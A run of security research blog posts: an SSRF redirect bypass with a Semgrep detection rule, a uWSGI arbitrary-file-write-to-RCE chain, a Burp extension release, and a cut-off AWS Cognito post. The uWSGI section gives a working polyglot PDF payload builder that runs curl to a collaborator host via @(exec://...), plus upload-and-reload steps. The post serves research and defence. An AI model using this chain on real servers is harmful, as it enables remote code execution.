<p>The <code class="language-plaintext highlighter-rouge">axios</code> library’s options allow to overwrite agents for both protocols separately. Therefore the following code is protected:</p>
<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">axios</span><span class="p">.</span><span class="kd">get</span><span class="p">(</span><span class="nx">url</span><span class="p">,</span> <span class="p">{</span>
<span class="na">httpAgent</span><span class="p">:</span> <span class="nx">ssrfFilter</span><span class="p">(</span><span class="dl">"</span><span class="s2">http://domain</span><span class="dl">"</span><span class="p">),</span>
<span class="na">httpsAgent</span><span class="p">:</span> <span class="nx">ssrfFilter</span><span class="p">(</span><span class="dl">"</span><span class="s2">https://domain</span><span class="dl">"</span><span class="p">)</span>
<span class="p">})</span>
</code></pre></div></div>
<p><strong>Note:</strong> In Axios library, it is neccesary to hardcode the urls during the agent overwrite. Otherwise, one of the agents would be overwritten with an agent for a wrong protocol and the cross-protocol redirect would fail similarly to the <code class="language-plaintext highlighter-rouge">node-fetch</code> library.</p>
<p>Still, <code class="language-plaintext highlighter-rouge">axios</code> calls can be vulnerable. If one forgets to overwrite both agents, the cross-protocol redirect can bypass the filter:</p>
<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">axios</span><span class="p">.</span><span class="kd">get</span><span class="p">(</span><span class="nx">url</span><span class="p">,</span> <span class="p">{</span>
<span class="c1">// httpAgent: ssrfFilter(url),</span>
<span class="na">httpsAgent</span><span class="p">:</span> <span class="nx">ssrfFilter</span><span class="p">(</span><span class="nx">url</span><span class="p">)</span>
<span class="p">})</span>
</code></pre></div></div>
<p>Such misconfigurations can be easily missed, so we have created a <a href="https://semgrep.dev/">Semgrep</a> rule that catches similar patterns in JavaScript code:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>rules:
- id: axios-only-one-agent-set
message: Detected an Axios call that overwrites only one HTTP(S) agent. It can lead to a bypass of restriction implemented in the agent implementation. For example SSRF protection can be bypassed by a malicious server redirecting the client from HTTPS to HTTP (or the other way around).
mode: taint
pattern-sources:
- patterns:
- pattern-either:
- pattern: |
{..., httpsAgent:..., ...}
- pattern: |
{..., httpAgent:..., ...}
- pattern-not: |
{...,httpAgent:...,httpsAgent:...}
pattern-sinks:
- pattern: $AXIOS.request(...)
- pattern: $AXIOS.get(...)
- pattern: $AXIOS.delete(...)
- pattern: $AXIOS.head(...)
- pattern: $AXIOS.options(...)
- pattern: $AXIOS.post(...)
- pattern: $AXIOS.put(...)
- pattern: $AXIOS.patch(...)
languages:
- javascript
- typescript
severity: WARNING
</code></pre></div></div>
<h1 id="summary">Summary</h1>
<p>As discussed above, we have discovered an exploitable SSRF vulnerability in the popular <a href="https://www.npmjs.com/package/request">request</a> library. Despite the fact that this package has been deprecated, this dependency is still used by over 50k projects with over 18M downloads per week.</p>
<p>We demonstrated how an attacker can bypass any anti-SSRF mechanisms injected into this library by simply redirecting the request to another protocol (e.g. HTTP to HTTPS). While many libraries we reviewed did provide protection from such attacks, others such as <code class="language-plaintext highlighter-rouge">axios</code> could be potentially vulnerable when similar misconfigurations exist. In an effort to make these issues easier to find and avoid, we have also released our internal Semgrep rule.</p>
A New Vector For “Dirty” Arbitrary File Write to RCE2023-02-28T00:00:00+01:00https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce<p>
<center><img src="../../../public/images/uwsgi-pdf.png" alt="pesdExporter" align="center" style="display: block; margin-left: auto; margin-right: auto;max-width: 500px;" /></center>
</p>
<p>Arbitrary file write (AFW) vulnerabilities in web application uploads can be a powerful tool for an attacker, potentially allowing them to escalate their privileges and even achieve remote code execution (RCE) on the server. However, the specific tactics that can be used to achieve this escalation often depend on the specific scenario faced by the attacker. In the wild, there can be several scenarios that an attacker may encounter when attempting to escalate from AFW to RCE in web applications. These can generically be categorized as:</p>
<ul>
<li><strong>Control of the full file path or of the file name only:</strong> In this scenario, the attacker has the ability to control the full file path or the name of the uploaded file, but not its contents. Depending on the permissions applied to the target directory and on the target application, the impact may vary from Denial of Service to interfering with the application logic to bypass potential security-sensitive features.</li>
<li><strong>Control of the file contents only:</strong> an attacker has control over the contents of the uploaded file but not over the file path. The impact can vary greatly in this case, due to numerous factors.</li>
<li><strong>Full Arbitrary File Write:</strong> an attacker has control over both of the above. This often results in RCE using various methods.</li>
</ul>
<p>A plethora of tactics have been used in the past to achieve RCE through AFW in moderately hardened environments (in applications running as unprivileged users):</p>
<ul>
<li>Overwriting or adding files that will be processed by the application server:
<ul>
<li>Configuration files (e.g., <code class="language-plaintext highlighter-rouge">.htaccess</code>, <code class="language-plaintext highlighter-rouge">.config</code>, <code class="language-plaintext highlighter-rouge">web.config</code>, <code class="language-plaintext highlighter-rouge">httpd.conf</code>, <code class="language-plaintext highlighter-rouge">__init__.py</code> and <code class="language-plaintext highlighter-rouge">.xml</code>)</li>
<li>Source files being served from the root of the application (e.g., <code class="language-plaintext highlighter-rouge">.php</code>, <code class="language-plaintext highlighter-rouge">.asp</code>, <code class="language-plaintext highlighter-rouge">.jsp</code> files)</li>
<li>Temp files</li>
<li>Secrets or environmental files (e.g., <code class="language-plaintext highlighter-rouge">venv</code>)</li>
<li>Serialized session files</li>
</ul>
</li>
<li>Manipulating procfs to execute arbitrary code</li>
<li>Overwriting or adding files used or invoked by the OS, or by other daemons in the system:
<ul>
<li>Crontab routines</li>
<li>Bash scripts</li>
<li><code class="language-plaintext highlighter-rouge">.bashrc</code>, <code class="language-plaintext highlighter-rouge">.bash-profile</code> and <code class="language-plaintext highlighter-rouge">.profile</code></li>
<li><code class="language-plaintext highlighter-rouge">authorized_keys</code> and <code class="language-plaintext highlighter-rouge">authorized_keys2</code> - to gain SSH access</li>
<li>Abusing supervisors’ eager reloading of assets</li>
</ul>
</li>
</ul>
<p><strong>It’s important to note that only a very small set of these tactics can be used in cases of partial control over the file contents in web applications (e.g., PHP, ASP or temp files)</strong>. The specific methods used will depend on the specific application and server configuration, so it is important to understand the unique vulnerabilities and attack vectors that are present in the victims’ systems.</p>
<p>The following write-up illustrates a real-world chain of distinct vulnerabilities to obtain arbitrary command execution during one of our engagements, which resulted in the discovery of a new method. <strong>This is particularly useful in case an attacker has only partial control over the injected file contents (“dirty write”) or when server-side transformations are performed on its contents.</strong></p>
<h3 id="an-example-of-a-dirty-arbitrary-file-write">An example of a “dirty” arbitrary file write</h3>
<p>In our scenario, the application had a vulnerable endpoint, through which, an attacker was able to perform a Path Traversal and write/delete files via a PDF export feature. Its associated function was responsible for:</p>
<ol>
<li>Reading an existing PDF template file and its stream</li>
<li>Combining the PDF template and the new attacker-provided contents</li>
<li>Saving the results in a PDF file named by the attacker</li>
</ol>
<p>The attack was limited since it could only impact the files with the correct permissions for the application user, with all of the application files being read-only. While an attacker could already use the vulnerability to first delete the logs or on-file databases, no higher impact was possible at first glance. By looking at the directory, the following file was also available:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code> drwxrwxr-x 6 root root 4096 Nov 18 13:48 .
-rw-rw-r-- 1 webuser webuser 373 Nov 18 13:46 /app/console/uwsgi-sockets.ini
</code></pre></div></div>
<h3 id="uwsgi-lax-parsing-of-configuration-files">uWSGI Lax Parsing of Configuration Files</h3>
<p>The victim’s application was deployed through a uWSGI application server (v2.0.15) fronting the Flask-based application, acting as a process manager and monitor. uWSGI can be configured using several different methods, supporting loading configuration files via simple disk files (<code class="language-plaintext highlighter-rouge">.ini</code>). The uWSGI native function responsible for parsing these files is defined in <a href="https://github.com/unbit/uwsgi/blob/2329e6ec5f2336ba59e39d971de0e7b93f1c59ff/core/ini.c#L128">core/ini.c:128</a> . The configuration file is initially read in full into memory and scanned to locate the string indicating the start of a valid uWSGI configuration (“<code class="language-plaintext highlighter-rouge">[uwsgi]</code>”):</p>
<pre><code class="language-C"> while (len) {
ini_line = ini_get_line(ini, len);
if (ini_line == NULL) {
break;
}
lines++;
// skip empty line
key = ini_lstrip(ini);
ini_rstrip(key);
if (key[0] != 0) {
if (key[0] == '[') {
section = key + 1;
section[strlen(section) - 1] = 0;
}
else if (key[0] == ';' || key[0] == '#') {
// this is a comment
}
else {
// val is always valid, but (obviously) can be ignored
val = ini_get_key(key);
if (!strcmp(section, section_asked)) {
got_section = 1;
ini_rstrip(key);
val = ini_lstrip(val);
ini_rstrip(val);
add_exported_option((char *) key, val, 0);
}
}
}
len -= (ini_line - ini);
ini += (ini_line - ini);
}
</code></pre>
<p>More importantly, uWSGI configuration files can also include “magic” variables, placeholders and operators defined with a precise syntax. The ‘<code class="language-plaintext highlighter-rouge">@</code>’ operator in particular is used in the form of <code class="language-plaintext highlighter-rouge">@(filename)</code> to include the contents of a file. Many uWSGI schemes are supported, including “<code class="language-plaintext highlighter-rouge">exec</code>” - useful to read from a process’s standard output. These operators can be weaponized for Remote Command Execution or Arbitrary File Write/Read when a <code class="language-plaintext highlighter-rouge">.ini</code> configuration file is parsed:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code> [uwsgi]
; read from a symbol
foo = @(sym://uwsgi_funny_function)
; read from binary appended data
bar = @(data://0)
; read from http
test = @(http://doyensec.com/hello)
; read from a file descriptor
content = @(fd://3)
; read from a process stdout
body = @(exec://whoami)
; call a function returning a char *
characters = @(call://uwsgi_func)
</code></pre></div></div>
<h3 id="uwsgi-auto-reload-configuration">uWSGI Auto Reload Configuration</h3>
<p>While abusing the above <code class="language-plaintext highlighter-rouge">.ini</code> files is a good vector, an attacker would still need a way to reload it (such as triggering a restart of the service via a second DoS bug or waiting the server to restart). In order to help with this, a standard uWSGI deployment configuration flag could ease the exploitation of the bug. In certain cases, the uWSGI configuration can specify a py-auto-reload development option, for which the Python modules are monitored within a user-determined time span (3 seconds in this case), specified as an argument. If a change is detected, it will trigger a reload, e.g.:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code> [uwsgi]
home = /app
uid = webapp
gid = webapp
chdir = /app/console
socket = 127.0.0.1:8001
wsgi-file = /app/console/uwsgi-sockets.py
gevent = 500
logto = /var/log/uwsgi/%n.log
harakiri = 30
vacuum = True
py-auto-reload = 3
callable = app
pidfile = /var/run/uwsgi-sockets-console.pid
log-maxsize = 100000000
log-backupname = /var/log/uwsgi/uwsgi-sockets.log.bak
</code></pre></div></div>
<p>In this scenario, directly writing malicious Python code inside the PDF won’t work, since the Python interpreter will fail when encountering the PDF’s binary data. On the other hand, overwriting a <code class="language-plaintext highlighter-rouge">.py</code> file with any data will trigger the uWSGI configuration file to be reloaded.</p>
<h3 id="putting-it-all-together">Putting it all together</h3>
<p>In our PDF-exporting scenario, we had to craft a polymorphic, syntactically valid PDF file containing our valid multi-lined <code class="language-plaintext highlighter-rouge">.ini</code> configuration file. The <code class="language-plaintext highlighter-rouge">.ini</code> payload had to be kept during the merging with the PDF template. We were able to embed the multiline <code class="language-plaintext highlighter-rouge">.ini</code> payload inside the EXIF metadata of an image included in the PDF. To build this polyglot file we used the following script:</p>
<pre><code class="language-Python"> from fpdf import FPDF
from exiftool import ExifToolHelper
with ExifToolHelper() as et:
et.set_tags(
["doyensec.jpg"],
tags={"model": "&#x0a;[uwsgi]&#x0a;foo = @(exec://curl http://collaborator-unique-host.oastify.com)&#x0a;"},
params=["-E", "-overwrite_original"]
)
class MyFPDF(FPDF):
pass
pdf = MyFPDF()
pdf.add_page()
pdf.image('./doyensec.jpg')
pdf.output('payload.pdf', 'F')
</code></pre>
<p>This metadata will be part of the file written on the server. In our exploitation, the eager loading of uWSGI picked up the new configuration and executed our <code class="language-plaintext highlighter-rouge">curl</code> payload. The payload can be tested locally with the following command:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code> uwsgi --ini payload.pdf
</code></pre></div></div>
<p>Let’s exploit it on the web server with the following steps:</p>
<ol>
<li>Upload <code class="language-plaintext highlighter-rouge">payload.pdf</code> into <code class="language-plaintext highlighter-rouge">/app/console/uwsgi-sockets.ini</code></li>
<li>Wait for server to restart or force the uWSGI reload by overwriting any <code class="language-plaintext highlighter-rouge">.py</code></li>
<li>Verify the callback made by <code class="language-plaintext highlighter-rouge">curl</code> on Burp collaborator</li>
</ol>
<h3 id="conclusions">Conclusions</h3>
<p>As highlighted in this article, we introduced a new uWSGI-based technique. It comes in addition to the tactics already used in various scenarios by attackers to escalate from arbitrary file write (AFW) vulnerabilities in web application uploads to remote code execution (RCE). These techniques are constantly evolving with the server technologies, and new methods will surely be popularized in the future. This is why it is important to share the known escalation vectors with the research community. We encourage researchers to continue sharing information on known vectors, and to continue searching for new, less popular vectors.</p>
Introducing Proxy Enriched Sequence Diagrams (PESD)2023-02-14T00:00:00+01:00https://blog.doyensec.com/2023/02/14/pesd-extension-public-release<h3 id="pesd-exporter-is-now-public">PESD Exporter is now public!</h3>
<p>We are releasing an internal tool to speed-up testing and reporting efforts in complex functional flows. We’re excited to announce that PESD Exporter is now <a href="https://github.com/doyensec/PESD-Exporter-Extension" target="_blank">available on Github</a>.</p>
<p>
<center><img src="../../../public/images/pesd.png" alt="pesdExporter" align="center" style="display: block; margin-left: auto; margin-right: auto;max-width: 300px;" /></center>
</p>
<p>Modern web platforms design involves integrations with other applications and cloud services to add functionalities, share data and enrich the user experience. The resulting functional flows are characterized by multiple state-changing steps with complex trust boundaries and responsibility separation among the involved actors.</p>
<p>In such situations, web security specialists have to manually model sequence diagrams if they want to support their analysis with visualizations of the whole functionality logic.</p>
<p>We all know that constructing sequence diagrams by hand is <em>tedious</em>, <em>error-prone</em>, <em>time-consuming</em> and sometimes even <em>impractical</em> (dealing with more than ten messages in a single flow).</p>
<p><strong>Proxy Enriched Sequence Diagrams</strong> (<strong>PESD</strong>) is our internal Burp Suite extension to visualize web traffic in a way that facilitates the analysis and reporting in scenarios with complex functional flows.</p>
<h2 id="meet-the-format">Meet The Format</h2>
<p>A <em>Proxy Enriched Sequence Diagram</em> (<em>PESD</em>) is a specific message syntax for sequence diagram models adapted to bring enriched information about the represented HTTP traffic. The <a href="https://github.com/mermaid-js/mermaid" target="_blank">MermaidJS</a> sequence diagram syntax is used to render the final diagram.</p>
<p>While classic sequence diagrams for software engineering are meant for an abstract visualization and all the information is carried by the diagram itself. PESD is designed to include granular information related to the underlying HTTP traffic being represented in the form of metadata.</p>
<p>The <code class="language-plaintext highlighter-rouge">Enriched</code> part in the format name originates from the <code class="language-plaintext highlighter-rouge">diagram-metadata linkability</code>. In fact, the HTTP events in the diagram are marked with flags that can be used to access the specific information from the metadata.</p>
<p>As an example, URL query parameters will be found in the arrow events as <code class="language-plaintext highlighter-rouge">UrlParams</code> expandable with a click.</p>
<p>
<center><img src="../../../public/images/welcometopesd.png" alt="pesdExporter" align="center" style="display: block; margin-left: auto; margin-right: auto;max-width: 500px;" /></center>
</p>
<p>Some key characteristics of the format :</p>
<ul>
<li><em>visual-analysis</em>, especially useful for complex application flows in multi-actor scenarios where the listed proxy-view is not suited to visualize the abstract logic</li>
<li><em>tester-specific syntax</em> to facilitate the analysis and overall readability</li>
<li><em>parsed metadata</em> from the web traffic to enable further automation of the analysis</li>
<li><em>usable for reporting</em> purposes like documentation of current implementations or Proof Of Concept diagrams</li>
</ul>
<h2 id="pesd-exporter---burp-suite-extension">PESD Exporter - Burp Suite Extension</h2>
<p>The extension handles Burp Suite traffic conversion to the PESD format and offers the possibility of executing templates that will enrich the resulting exports.</p>
<p>
<center><img src="../../../public/images/pesdextensionui.png" alt="pesdExporter" align="center" style="display: block; margin-left: auto; margin-right: auto;max-width: 550px;" /></center>
</p>
<p>Once loaded, sending items to the extension will directly result in a export with all the active settings.</p>
<p>Currently, two modes of operation are supported:</p>
<ul>
<li><strong>Domains as Actors</strong> - Each domain involved in the traffic is represented as an actor in the diagram. Suitable for <code class="language-plaintext highlighter-rouge">multi-domain</code> flows analysis</li>
</ul>
<p>
<center><img src="../../../public/images/domainsasactors.png" alt="pesdExporter" align="center" style="display: block; margin-left: auto; margin-right: auto;max-width: 350px;" /></center>
</p>
<ul>
<li><strong>Endpoints as Actors</strong> - Each endpoint (path) involved in the traffic is represented as an actor in the diagram. Suitable for <code class="language-plaintext highlighter-rouge">single-domain</code> flows analysis</li>
</ul>
<p>
<center><img src="../../../public/images/endpointsasactors.png" alt="pesdExporter" align="center" style="display: block; margin-left: auto; margin-right: auto;max-width: 500px;" /></center>
</p>
<h3 id="export-capabilities">Export Capabilities</h3>
<ul>
<li>
<p><strong>Expandable Metadata</strong>. Underlined flags can be clicked to show the underlying metadata from the traffic in a scrollable popover</p>
</li>
<li>
<p><strong>Masked Randoms in URL Paths</strong>. UUIDs and pseudorandom strings recognized inside path segments are mapped to variable names <code class="language-plaintext highlighter-rouge"><UUID_N></code> / <code class="language-plaintext highlighter-rouge"><VAR_N></code>. The re-renderization will reshape the diagram to improve flow readability. Every occurrence with the same value maintains the same name</p>
</li>
<li>
<p><strong>Notes</strong>. Comments from Burp Suite are converted to notes in the resulting diagram. Use <code class="language-plaintext highlighter-rouge"><br></code> in Burp Suite comments to obtain multi-line notes in PESD exports</p>
</li>
<li>
<p><strong>Save as</strong> :</p>
<ul>
<li>Sequence Diagram in <code class="language-plaintext highlighter-rouge">SVG</code> format</li>
<li><code class="language-plaintext highlighter-rouge">Markdown</code> file (MermaidJS syntax),</li>
<li>Traffic <code class="language-plaintext highlighter-rouge">metadata</code> in <code class="language-plaintext highlighter-rouge">JSON</code> format. Read about the metadata structure in the format definition page, <a href="https://github.com/doyensec/PESD-Exporter-Extension/blob/main/mds/Format.md#exports" target="_blank">“exports section”</a></li>
</ul>
</li>
</ul>
<video controls="" preload="auto" width="100%" height="100%" poster="../../../public/images/pesdexport.png">
<source src="../../../public/images/pesdexport.mp4" type="video/mp4" />
Your browser does not support the video tag.
</video>
<h3 id="extending-the-diagram-syntax-and-metadata-with-templates">Extending the diagram, syntax and metadata with Templates</h3>
<p>PESD Exporter supports syntax and metadata extension via templates execution.
Currently supported templates are:</p>
<ul>
<li>
<p><strong>OAuth2 / OpenID Connect</strong> The template matches standard OAuth2/OpenID Connect flows and adds related flags + flow frame</p>
</li>
<li>
<p><strong>SAML SSO</strong> The template matches Single-Sign-On flows with SAML V2.0 and adds related flags + flow frame</p>
</li>
</ul>
<p>Template matching example for <em>SAML SP-initiated SSO with redirect POST</em>:</p>
<p>
<center><img src="../../../public/images/pesdsamlex.png" alt="pesdExporter" align="center" style="display: block; margin-left: auto; margin-right: auto;max-width: 450px;" /></center>
</p>
<p>The template engine is also ensuring consistency in the case of crossing flows and bad implementations. The current check prevents nested flow-frames since they cannot be found in real-case scenarios. Nested or unclosed frames inside the resulting markdown are deleted and merged to allow MermaidJS renderization.</p>
<p><strong>Note:</strong> Whenever the flow-frame is not displayed during an export involving the supported frameworks, a manual review is highly recommended. This behavior should be considered as a warning that the application is using a non-standard implementation.</p>
<p>Do you want to contribute by writing you own templates? Follow the <a href="https://github.com/doyensec/PESD-Exporter-Extension/blob/main/mds/WritingTemplates.md" target="_blank">template implementation guide</a>.</p>
<h2 id="why-pesd">Why PESD?</h2>
<h3 id="during-test-planning-and-auditing">During Test Planning and Auditing</h3>
<p>PESD exports allow visualizing the entirety of complex functionalities while still being able to access the core parts of its underlying logic. The role of each actor can be easily derived and used to build a test plan before diving in Burp Suite.</p>
<p>It can also be used to spot the differences with standard frameworks thanks to the HTTP messages syntax along with OAuth2/OpenID and SAML SSO templates.</p>
<p>In particular, templates enable the tester to identify uncommon implementations by matching standard flows in the resulting diagram. By doing so, custom variations can be spotted with a glance.</p>
<p>The following detailed examples are extracted from our testing activities:</p>
<ul>
<li><strong>SAML Response Double Spending</strong>. The SAML Response was sent two times and one of the submissions happened out of the flow frame</li>
</ul>
<p>
<center><img src="../../../public/images/doublespendingSAML.png" alt="pesdExporter" align="center" style="display: block; margin-left: auto; margin-right: auto;max-width: 450px;" /></center>
</p>
<ul>
<li><strong>OIDC with subsequent OAuth2</strong>. In this case, CLIENT.com was the SP in the first flow with Microsoft (OIDC), then it was the IdP in the second flow (OAuth2) with the tenant subdomain.</li>
</ul>
<p>
<center><img src="../../../public/images/pesdoidcexample.png" alt="pesdExporter" align="center" style="display: block; margin-left: auto; margin-right: auto;max-width: 450px;" /></center>
</p>
<h3 id="during-reporting">During Reporting</h3>
<p>The major benefit from the research output was the conjunction of the diagrams generated with PESD with the analysis of the vulnerability. The inclusion of PoC-specific exports in reports allows to describe the issue in a straightforward way.</p>
<p>The export enables the tester to refer to a request in the flow by specifying its ID in the diagram and link it in the description.
The vulnerability description can be adapted to different testing approaches:</p>
<ul>
<li>
<p><strong>Black Box Testing</strong> - The description can refer to the interested sequence numbers in the flow along with the observed behavior and flaws;</p>
</li>
<li>
<p><strong>White Box Testing</strong> - The description can refer directly to the endpoint’s handling function identified in the codebase. This result is particularly useful to help the reader in linking the code snippets with their position within the entire flow.</p>
</li>
</ul>
<p>In that sense, PESD can positively affect the reporting style for vulnerabilities in complex functional flows.</p>
<p>The following basic example is extracted from one of our client engagements.</p>
<h4 id="report-example---arbitrary-user-access-via-unauthenticated-internal-api-endpoint">Report Example - Arbitrary User Access Via Unauthenticated Internal API Endpoint</h4>
<p>An internal (<em>Intranet</em>) Web Application used by the super-admins allowed privileged users within the application to obtain temporary access to customers’ accounts in the web facing platform.</p>
<p>In order to restrict the access to the customers’ data, the support access must be granted by the tenant admin in the web-facing platform. In this way, the admins of the internal application had user access only to organizations via a valid grant.</p>
<p>The following sequence diagram represents the traffic intercepted during a user impersonation access in the internal application:</p>
<p>
<center><img src="../../../public/images/impersonationExample.png" alt="pesdExporter" align="center" style="display: block; margin-left: auto; margin-right: auto;max-width: 550px;" /></center>
</p>
<p>The handling function of the first request (<strong>1</strong>) checked the presence of an access grant for the requested user’s tenant. If there were valid grants, it returned the redirection URL for an internal API defined in AWS’s API Gateway. The API was exposed only within the internal network accessible via VPN.</p>
<p>The second request (<strong>3</strong>) pointed to the AWS’s API Gateway. The endpoint was handled with an AWS Lambda function taking as input the URL parameters containing : <code class="language-plaintext highlighter-rouge">tenantId</code>, <code class="language-plaintext highlighter-rouge">user_id</code>, and others. The returned output contained the authentication details for the requested impersonation session: <code class="language-plaintext highlighter-rouge">access_token</code>, <code class="language-plaintext highlighter-rouge">refresh_token</code> and <code class="language-plaintext highlighter-rouge">user_id</code>. It should be noted that the internal API Gateway endpoint did not enforce <em>authentication</em> and <em>authorization</em> of the caller.</p>
<p>In the third request (<strong>5</strong>), the authentication details obtained are submitted to the <em>web-facing.platform.com</em> and the session is set. After this step, the internal admin user is authenticated in the web-facing platform as the specified target user.</p>
<p>Within the described flow, the authentication and authorization checks (handling of request <strong>1</strong>) were decoupled from the actual creation of the impersonated session (handling of request <strong>3</strong>).</p>
<p>As a result, any employee with access to the internal network (VPN) was able to invoke the internal AWS API responsible for issuing impersonated sessions and obtain access to any user in the web facing platform. By doing so, the need of a valid super-admin access to the internal application (<em>authentication</em>) and a specific target-user access grant (<em>authorization</em>) were bypassed.</p>
<h2 id="stay-tuned">Stay tuned!</h2>
<p>Updates are coming. We are looking forward to receiving new improvement ideas to enrich PESD even further.</p>
<p>Feel free to contribute with <a href="https://github.com/doyensec/PESD-Exporter-Extension/pulls" target="_blank">pull requests</a>, <a href="https://github.com/doyensec/PESD-Exporter-Extension/issues" target="_blank">bug reports or enhancements</a>.</p>
<p>This project was made with love in the <a href="https://doyensec.com/research.html" target="_blank">Doyensec Research island</a> by <a href="https://twitter.com/lacerenza_fra" target="_blank">Francesco Lacerenza </a>. The extension was developed during his <a href="https://blog.doyensec.com/2019/11/05/internship-at-doyensec.html">internship with 50% research time</a>.</p>
Tampering User Attributes In AWS Cognito User Pools2023-01-24T00:00:00+01:00https://blog.doyensec.com/2023/01/24/tampering-unrestricted-user-attributes-aws-cognito<p>
<center><img src="../../../public/images/cloudsectidbit-logo200.jpg" alt="CloudsecTidbit" align="center" style="display: block; margin-left: auto; margin-right: auto;max-width: 500px;" /></center>
</p>
<h3 id="from-the-previous-episode-did-you-solve-the-cloudsectidbit-ep-1-iac-lab">From The Previous Episode… Did you solve the CloudSecTidbit Ep. 1 IaC lab?</h3>
<h4 id="solution">Solution</h4>
<p>The challenge for the <a href="https://blog.doyensec.com/2022/10/18/cloudsectidbit-dataimport.html">data-import</a> CloudSecTidbit is basically reading the content of an internal bucket. The frontend web application is using the targeted bucket to store the logo of the app.</p>
<p>The name of the bucket is returned to the client by calling the <code class="language-plaintext highlighter-rouge">/variable</code> endpoint:</p>
<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">$</span><span class="p">.</span><span class="nx">ajax</span><span class="p">({</span>
<span class="na">type</span><span class="p">:</span> <span class="dl">'</span><span class="s1">GET</span><span class="dl">'</span><span class="p">,</span>
<span class="na">url</span><span class="p">:</span> <span class="dl">'</span><span class="s1">/variable</span><span class="dl">'</span><span class="p">,</span>
<span class="na">dataType</span><span class="p">:</span> <span class="dl">'</span><span class="s1">json</span><span class="dl">'</span><span class="p">,</span>
<span class="na">success</span><span class="p">:</span> <span class="kd">function</span> <span class="p">(</span><span class="nx">data</span><span class="p">)</span> <span class="p">{</span>
<span class="kd">let</span> <span class="nx">source_internal</span> <span class="o">=</span> <span class="s2">`https://</span><span class="p">${</span><span class="nx">data</span><span class="p">}</span><span class="s2">.s3.amazonaws.com/public-stuff/logo.png?</span><span class="p">${</span><span class="nb">Math</span><span class="p">.</span><span class="nx">random</span><span class="p">()}</span><span class="s2">`</span><span class="p">;</span>
<span class="nx">$</span><span class="p">(</span><span class="dl">"</span><span class="s2">.logo_image</span><span class="dl">"</span><span class="p">).</span><span class="nx">attr</span><span class="p">(</span><span class="dl">"</span><span class="s2">src</span><span class="dl">"</span><span class="p">,</span> <span class="nx">source_internal</span><span class="p">);</span>
<span class="p">},</span>
<span class="na">error</span><span class="p">:</span> <span class="kd">function</span> <span class="p">(</span><span class="nx">jqXHR</span><span class="p">,</span> <span class="nx">status</span><span class="p">,</span> <span class="nx">err</span><span class="p">)</span> <span class="p">{</span>
<span class="nx">alert</span><span class="p">(</span><span class="dl">"</span><span class="s2">Error getting variable name</span><span class="dl">"</span><span class="p">);</span>
<span class="p">}</span>
<span class="p">});</span>
</code></pre></div></div>
<p>The server will return something like:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>"data-internal-private-20220705153355922300000001"
</code></pre></div></div>
<p>So the schema should be clear now. Let’s use the data import functionality and try to leak the content of the <code class="language-plaintext highlighter-rouge">data-internal-private</code> S3 bucket:</p>
<p>
<center><img style="width: 80%;" src="/public/images/cloudsectidbit-dataimported.png" alt="" />
<em>Extracting data from the internal S3 bucket</em></center>
</p>
<p>Then, by visiting the Data Gallery section, you will see the <code class="language-plaintext highlighter-rouge">keys.txt</code> and <code class="language-plaintext highlighter-rouge">dummy.txt</code> objects, which are stored within the internal bucket.</p>
<h2 id="tidbit-no-2---tampering-user-attributes-in-aws-cognito-user-pools">Tidbit No. 2 - Tampering User Attributes In AWS Cognito User Pools</h2>
<p>Amazon Web Services offer a complete solution to add user sign-up, sign-in, and access control to web and mobile applications: Cognito. Let’s first talk about the service in general terms.</p>
<p>From AWS Cognito’s welcome page:</p>
<blockquote>
<p>“Using the Amazon Cognito user pools API, you can create a user pool to
manage directories and users. You can authenticate a user to obtain tokens
related to user identity and access policies.”</p>
</blockquote>
<p>Amazon Cognito collects a user’s profile attributes into directories called <strong>pools</strong> that an application uses to handle all authentication related tasks.</p>
<h3 id="pool-types">Pool Types</h3>
<p>The two main components of Amazon Cognito are:</p>
<ul>
<li><strong>User pools</strong>: Provide sign-up and sign-in options for app users along with
attributes association for each user.</li>
<li><strong>Identity pools</strong>: Provide the possibility to grant users access to other
AWS services (e.g., DynamoDB or Amazon S3).</li>
</ul>
<p>With a user pool, users can sign in to an app through Amazon Cognito, OAuth2, and SAML identity providers.</p>
<p>Each user has a profile that applications can access through the software development kit (SDK).</p>
<h3 id="user-attributes">User Attributes</h3>
<p>User attributes are pieces of information stored to characterize individual users, such as name, email address, and phone number. A new user pool has a set of default <em>standard attributes</em>. It is also possible to add custom attributes to satisfy custom needs.</p>
<h3 id="app-clients--authentication">App Clients & Authentication</h3>
<p>An app is an entity within a user pool that has permission to call management operation APIs, such as those used for user registration, sign-in, and forgotten passwords.</p>
<p>In order to call the operation APIs, an app client ID and an optional client secret are needed. Multiple app integrations can be created for a single user pool, but typically, an app client corresponds to the platform of an app.</p>
<p>A user can be authenticated in different ways using Cognito, but the main options are:</p>
<ul>
<li><strong>Client-side authentication flow</strong> - Used in client-side apps to obtain
a valid session token (JWT) directly from the pool;</li>
<li><strong>Server-side authentication flow</strong> - Used in server-side app with the authenticated server-side API for Amazon Cognito user pools. The server-side app calls the <code class="language-plaintext highlighter-rouge">AdminInitiateAuth</code> API operation. This operation requires AWS credentials with permissions that include <code class="language-plaintext highlighter-rouge">cognito-idp:AdminInitiateAuth</code> and <code class="language-plaintext highlighter-rouge">cognito-idp:AdminRespondToAuthChallenge</code>. The operation returns the required authentication parameters.</li>
</ul>
<p>In both the cases, the end-user should receive the resulting JSON Web Token.</p>
<p>After that first look at AWS SDK credentials, we can jump straight to the tidbit case.</p>
<h3 id="unrestricted-user-attributes-write-in-aws-cognito-user-pool---the-third-party-users-mapping-case">Unrestricted User Attributes Write in AWS Cognito User Pool - The Third-party Users Mapping Case</h3>
<p>For this case, we will focus on a vulnerability identified in a Web
Platform that was using AWS Cognito.</p>
<p>The platform used Cognito to manage users and map them to their account in a third-party platform <span style="color:red"><i>X_platform</i></span> strictly interconnected with the provided service.</p>
